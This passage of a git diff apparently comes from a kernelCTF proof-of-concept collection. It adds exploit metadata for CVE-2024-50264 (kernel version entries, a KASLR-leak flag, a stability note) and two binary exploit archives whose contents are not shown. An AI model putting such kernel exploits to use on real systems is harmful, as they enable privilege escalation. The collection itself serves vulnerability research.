false, + "stability_notes":"10%" + }, + "cos-109-17800.309.84": { + "uses":[ + ], + "requires_separate_kaslr_leak": false, + "stability_notes":"10%" + } + } + } + diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/original_exp196.tar.gz b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/original_exp196.tar.gz new file mode 100644 index 00000000..aaae4580 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/original_exp196.tar.gz differ diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/original_exp197.tar.gz b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/original_exp197.tar.gz new file mode 100644 index 00000000..180b0cfc Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/original_exp197.tar.gz differ